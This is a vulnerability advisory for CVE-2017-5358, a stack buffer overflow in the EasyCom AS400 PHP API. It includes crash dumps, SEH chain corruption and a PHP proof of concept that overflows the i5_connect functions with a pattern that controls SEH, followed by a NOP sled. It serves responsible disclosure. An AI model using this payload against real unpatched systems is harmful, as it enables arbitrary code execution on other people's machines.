EasyCom AS400 PHP API Buffer Overflow

`[+] Credits: John Page AKA Hyp3rlinX  
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/EASYCOM-PHP-API-BUFFER-OVERFLOW.txt  
[+] ISR: ApparitionSec   
  
  
Vendor:  
================  
easycom-aura.com  
  
  
  
Product:  
===========================  
EASYCOM AS400 (iBMI) PHP API   
EasycomPHP_4.0029.iC8im2.exe  
  
EASYCOM is the middleware which provides native access to IBMi data and programs. With its excellent performance and strict compliance  
with IBMi security regulations, this technology facilitates development of Internet, mobile and client/server applications in  
Windows, Linux, and IBMi.  
  
  
EasyCom tested here requires older version of PHP.  
  
Setup test environment:  
  
Windows 7  
XAMPP 1.7.3  
PHP 5.3.1 (cli) (built: Nov 20 2009 17:26:32)  
Copyright (c) 1997-2009 The PHP Group  
Zend Engine v2.3.0  
  
PHP compiled module API=20090626 (need to use for EasyCom IBM DLL)  
  
  
Vulnerability Type:  
=========================  
API Stack Buffer Overflow  
  
  
  
CVE Reference:  
==============  
CVE-2017-5358  
  
  
  
Security Issue:  
================  
EasyCom PHP API suffers from multiple Buffer Overflow entry points, which can result in arbitrary code execution on affected system.  
Below I provide some proof of concept details for a few of them.  
  
  
EAX 00000000  
ECX 41414141  
EDX 771D6ACD ntdll.771D6ACD  
EBX 00000000  
ESP 00C0F238  
EBP 00C0F258  
ESI 00000000  
EDI 00000000  
EIP 41414141  
  
C 0 ES 002B 32bit 0(FFFFFFFF)  
P 1 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 1 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 0053 32bit 7EFDD000(FFF)  
T 0 GS 002B 32bit 0(FFFFFFFF)  
D 0  
O 0 LastErr ERROR_SUCCESS (00000000)  
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)  
  
  
SEH chain of main thread  
Address SE handler  
00C0F354 kernel32.7600410E  
00C0FF78 42424242  
52525252 *** CORRUPT ENTRY ***  
  
WinDbg dump...  
  
(720.a70): Access violation - code c0000005 (first/second chance not available)  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -   
eax=00000000 ebx=00000000 ecx=41414141 edx=77316acd esi=00000000 edi=00000000  
eip=41414141 esp=004111e8 ebp=00411208 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
0:000> !load winext/msec  
0:000> !exploitable  
  
!exploitable 1.6.0.0  
Exploitability Classification: EXPLOITABLE  
Recommended Bug Title: Exploitable - Data Execution Prevention Violation starting at Unknown Symbol @ 0x0000000041414141  
called from ntdll!RtlDosSearchPath_Ustr+0x0000000000000ada (Hash=0x05cdf8a7.0xce7d7411)  
  
User mode DEP access violations are exploitable.  
  
  
PHP Crash:  
=============  
  
Problem signature:  
Problem Event Name: BEX  
Application Name: php.exe  
Application Version: 5.3.1.0  
Application Timestamp: 4b06c430  
Fault Module Name: StackHash_e98d  
Fault Module Version: 0.0.0.0  
Fault Module Timestamp: 00000000  
Exception Offset: 41414141  
Exception Code: c0000005  
Exception Data: 00000008  
OS Version: 6.1.7601.2.1.0.256.48  
  
  
  
Exploit/POC:  
===============  
php_Easycom5_3_0.dll 0day vuln POC minus the exploit, I'm bored goin to the park.  
  
<?php  
  
/* Basic connection to an AS400 iBMI System */  
  
$payload=str_repeat("A", 4000); #BOOM!  
$payload=str_repeat("A",1868)."RRRRBBBB".str_repeat("\x90",100); #SEH  
  
$conn = i5_connect($payload, "QPGMR", "PASSW") or die(i5_errormsg()); #VULN   
$conn = i5_pconnect($payload, 'QSECOFR', 'password', array() ); #VULN   
$conn = i5_private_connect($payload, $user, $password, array()); #VULN   
  
echo 'EasyCom PHP API 0day ' . $conn;  
  
?>  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
Severity:  
==========  
High  
  
  
  
Disclosure Timeline:  
======================================  
Vendor Notification: December 22, 2016  
Vendor acknowledgement: December 23, 2016  
Vendor Release Fix/Version February 20, 2017  
February 22, 2017 : Public Disclosure  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere.   
  
Hyp3rlinX  
`